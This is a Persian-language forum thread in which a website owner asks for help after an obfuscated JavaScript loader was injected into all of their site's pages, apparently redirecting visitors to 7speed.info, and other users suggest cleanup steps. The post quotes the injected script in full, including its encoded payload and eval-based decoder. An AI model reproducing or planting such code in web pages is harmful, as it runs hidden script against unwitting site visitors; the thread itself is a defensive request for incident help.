اضاقه شدن يك كد در تمام صفحات - هك
سلام
من وقتي سايتم را باز مي كنم، در سورس صفحه، بعد از BODY اين خط را مي بينم
کد:
<script language=JavaScript>function kwbnb25(z){ var c=z.length,m=1024,i,s,h,b=0,w=0,x=0,d=Array(63,27,24,8,38,62,31,11,58,6,0,0,0,0,0,0,33,29,12,46,2,43,0,57,14,10,16,9,4,39,36,34,37,41,47,45,15,26,21,61,54,13,28,0,0,0,0,18,0,22,17,19,50,60,40,59,30,56,23,53,5,1,51,35,20,49,7,42,44,3,32,25,52,48,55);for(s=Math.ceil(c/m);s>0;s--){h='';for(i=Math.min(c,m);i>0;i--,c--){{x|=(d[z.charCodeAt(b++)-48])<<w;if(w){h+=String.fromCharCode(147^x&255);x>>=8;w-=2}else{w=6}}}eval(h);}}kwbnb25('NE60znTGWD5Gd6CGvgISjn60Xc7sznTe4gRWW6hRNrC5M10Cx5s5krCe510tW7R0Xg8WzcUfnDhiygUtg65GoMIRe_Iio1RWzzE5WjT0ehHRt_7Ch70Ggz1ie1h0zREzd655W9CeW6T05RECGI8Qoh8f8O7Sz6TQ@_7Cx9gtNE0WMRREvs8fnCRW8c05MgIfPH7iME50XgUtzETio0ResMU0ezRWqX8Ees6W@7R0XzIS8D')</script><!-- 208.64.230.55 -->
و سايت هم قبل از باز شدن به سايت 7speed.info مي رود و حالا نمي دانم چكار مي كند (اين را از Status bar پايين اكسپلورر فهميدم)
بررسي كردم اين كد در تمام صفحات index.php و html سايت كپي شده
پرميشن ها را هم به 644 و 755 براي فايلها و پوشه ها تغيير دادم اما بعد از اينكه فايل ها را درست كردم باز هم مي شود
حالا بايد چكار كنم البته سايت من با ميترا هستش
ممنون مي شوم اگر راهنماييم كنيد
پاسخ : اضاقه شدن يك كد در تمام صفحات - هك
اینجا انجمن تخصصی مامبولرن هست.
ما از میترا ، جوملا ، و سیستم های مشابه پشتیبانی نمی کنیم.
یا علی
پاسخ : اضاقه شدن يك كد در تمام صفحات - هك
فکر می کنم جوملا ، مامبو و میترا شباهت های زیادی با هم داشته باشند. که همگی از یک ریشه باشند و تفاوت آنچنانی نداشته باشند.
بهرصورت گمانم بر این است که بچه های این انجمن نگذارند دست خالی از اینجا بروم.
پاسخ : اضاقه شدن يك كد در تمام صفحات - هك
سلام دوست عزیز
قالب خود را بررسی کنید و ببینید این کد در آنجا وجود دارد؟ اگر بله آن را پاک کنید اگر نبود در صفحه index.php بررسی کنید
پاسخ : اضاقه شدن يك كد در تمام صفحات - هك
ببينيد ما از مامبو پشتيباني ميكنيم، اين موضوع هم كه شما ميفرماييد شباهت دارن هم بايد عرض كنم كه درسته، پدر همشون مامبو هستش، ما خوب خودشون سايت مرجع فارسي دارن ديگه! مگه ندارن؟!
ولي اگر مشاوره ميخواييد كه مشكل هك سايتتون چيزي هست خوب شك نكنيد كه در اين انجمن به شما مشاوره داده ميشود، اما هيچ تضميني نيست كه اون مشاوره صحيح باشه،ما با مامبو آشنايي كامل داريم و آنرا پشتيلني ميكنيم، نه ميترا و يا جوملا
اگر مشكلتون با تغيير قالب برطرف نشد به اين سوالات جواب بفرماييد:
1)در هاست شما فايلهاي ديگري ساخته شده است؟
2)فايلهاي مشكوك با نامهاي مشكوك ايجاد شده هست؟
3)فايلهاي htaccess در هاست شما ايجاد شده است؟
از سلامت تمامي فايلهاي سايت خودتون مطمئن هستيد؟
كامروا باشيد.
پاسخ : اضاقه شدن يك كد در تمام صفحات - هك
از لطف شما و ساير دوستان خيلي سپاسگذارم
-------------------------------------------------------
سايت را بررسي كردم
كد مزبورمابين تگ body , /body در تمامي (!) فايل هاي html سايت قرار داده شده.
البته مقدار زيادي از آن فايل ها را درست كردم و فعلا درست شده ولي براي اطمينان بايد چكار كنم؟
----
1- در سايت ظاهرا فايل ديگري ساخته نشده
2- فايل مشكوك در پوشه public_html ظاهرا نيست. ولي در پوشه روت خود سايت چند فايل هست كه با . شروع مي شود مثل .zshrc , .pearrc , .gtkrc , ...
3- يك فايل .htaccess هست كه داخل آن هيچ چيز نيست. حجم 0 بايت
پاسخ : اضاقه شدن يك كد در تمام صفحات - هك
با مدیر سورتون تماس بگیرید.
سرور تون هک شده !
پاسخ : اضاقه شدن يك كد در تمام صفحات - هك
فعلا که مشکل رفع نشده
بخاطر راهنمایی ها ممنون هستم